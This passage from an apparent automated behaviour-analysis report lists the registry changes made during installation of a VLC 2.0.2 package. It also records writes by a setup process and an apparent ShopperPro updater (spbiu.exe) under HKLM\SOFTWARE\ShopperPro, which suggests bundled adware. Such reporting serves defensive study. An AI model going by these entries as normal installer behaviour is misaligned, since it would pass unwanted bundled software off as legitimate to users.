[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A0 77 CF 41 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "C9 C9 4F 44 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:2100 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "06 5E E6 32 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "06 60 13 35 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:1060 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:1732 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "96 F7 7A 38 BC 6E F6 1D F1 0E 3C 22 0F A7 29 7E"

The process vlc-2.0.2-win32.exe:1828 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\VLC.m2ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aiff\shell]
"(Default)" = "Open"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell]
"(Default)" = "Open"

[HKCR\VLC.adts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wmv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.voc]
"(Default)" = "VLC media file (.voc)"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.tta\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.adt\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell]
"(Default)" = "Open"

[HKCR\VLC.avi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.spx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell]
"(Default)" = "Open"

[HKCR\VLC.qcp]
"(Default)" = "VLC media file (.qcp)"

[HKCR\VLC.cue\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mov" = "VLC.mov"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell]
"(Default)" = "Open"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\Version]
"(Default)" = "1.0"

[HKCR\VLC.drc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ifo\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.amr]
"(Default)" = "VLC.amr"

[HKCR\VLC.wma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".PLS" = ""

[HKCR\VLC.ogv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".APE" = ""

[HKCR\VLC.mpe\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".a52" = "VLC.a52"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.adt\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.snd\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CDA" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rec" = "VLC.rec"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\.sdp]
"(Default)" = "VLC.sdp"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.m2t\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.b4s\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64]
"(Default)" = "VLC media file (.w64)"

[HKCR\VLC.adts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mxf" = ""

[HKCR\VLC.qcp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.divx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe]
"FriendlyAppName" = "VLC media player"

[HKCR\VLC.mpc\shell]
"(Default)" = "Open"

[HKCR\.qcp]
"(Default)" = "VLC.qcp"

[HKCR\VLC.nsv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.adts\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".qcp" = ""

[HKCR\VLC.nsv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.ogg]
"(Default)" = "VLC.ogg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Action" = "Play DVD movie"

[HKCR\VLC.avi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf\shell]
"(Default)" = "Open"

[HKCR\VLC.xspf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.avi\shell]
"(Default)" = "Open"

[HKCR\VLC.mid\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"URLInfoAbout" = "http://www.videolan.org/"

[HKCR\VLC.ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2t]
"(Default)" = "VLC media file (.m2t)"

[HKCR\VLC.mp3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m3u8\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mxf]
"(Default)" = "VLC.mxf"

[HKCR\VLC.ogm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m1v" = ""

[HKCR\VLC.flac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VideoLAN.VLCPlugin.1]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.au\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.caf]
"(Default)" = "VLC media file (.caf)"

[HKCR\VLC.wma\shell\Open]
"(Default)" = "Play"

[HKCR\.mp3]
"(Default)" = "VLC.mp3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v1"

[HKCR\VLC.it\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.VCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wav\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.flac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.VCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.m3u8\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aif\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".bin" = "VLC.bin"

[HKCR\VLC.oga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.m2v]
"(Default)" = "VLC.m2v"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.dts]
"(Default)" = "VLC.dts"

[HKCR\.wma]
"(Default)" = "VLC.wma"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.flac]
"(Default)" = "VLC.flac"

[HKCR\VLC.mpe\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.mpeg2]
"(Default)" = "VLC.mpeg2"

[HKCR\VLC.m3u\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell\Open]
"(Default)" = "Play"

[HKCR\.ts]
"(Default)" = "VLC.ts"

[HKCR\VLC.flv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AC3" = ""

[HKCR\VLC.tts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.w64\shell]
"(Default)" = "Open"

[HKCR\Directory\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.wv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mkv" = ""

[HKCR\VLC.cda\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mtv]
"(Default)" = "VLC.mtv"

[HKCR\VLC.mtv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AAC" = "VLC.aac"

[HKCR\VLC.vob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mka" = ""

[HKCR\VLC.mlp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Path" = "%Program Files% (x86)\VideoLAN\VLC\npvlc.dll"

[HKCR\VLC.m3u8\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell]
"(Default)" = "Open"

[HKCR\VLC.bin\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aifc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.nsv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.CDAudio]
"(Default)" = "VLC CD Audio"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.ifo\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell]
"(Default)" = "Open"

[HKCR\VLC.m4p]
"(Default)" = "VLC media file (.m4p)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MOD" = "VLC.mod"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tod" = ""

[HKCR\VLC.mp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.au]
"(Default)" = "VLC media file (.au)"

[HKCR\VLC.rmi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.snd]
"(Default)" = "VLC media file (.snd)"

[HKCR\VLC.xspf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.asf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.flv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.SVCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3g2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.a52\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aac]
"(Default)" = "VLC.aac"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.w64\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.rmvb]
"(Default)" = "VLC.rmvb"

[HKCR\VLC.wav\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".TTA" = "VLC.tta"

[HKCR\VLC.rmvb\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ogm]
"(Default)" = "VLC.ogm"

[HKCR\VLC.mpeg4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.divx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tts" = "VLC.tts"

[HKCR\.rm]
"(Default)" = "VLC.rm"

[HKCR\.ram]
"(Default)" = "VLC.ram"

[HKCR\VLC.dts]
"(Default)" = "VLC media file (.dts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rm" = "VLC.rm"

[HKCR\VLC.m4a\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vlc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ape\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Action" = "Play audio CD"

[HKCR\VLC.snd\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wma" = ""

[HKCR\VLC.aif\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gp]
"(Default)" = "VLC.3gp"

[HKCR\VLC.vob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.ac3]
"(Default)" = "VLC.ac3"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M4A" = "VLC.m4a"

[HKCR\VLC.vob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg1\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aifc" = ""
".aiff" = ""

[HKCR\VLC.dv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4p" = "VLC.m4p"

[HKCR\VLC.m4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4v" = "VLC.m4v"

[HKCR\VLC.mpv2\shell]
"(Default)" = "Open"

[HKCR\VLC.voc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dts" = "VLC.dts"

[HKCR\VLC.tts]
"(Default)" = "VLC media file (.tts)"

[HKCR\VLC.avi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
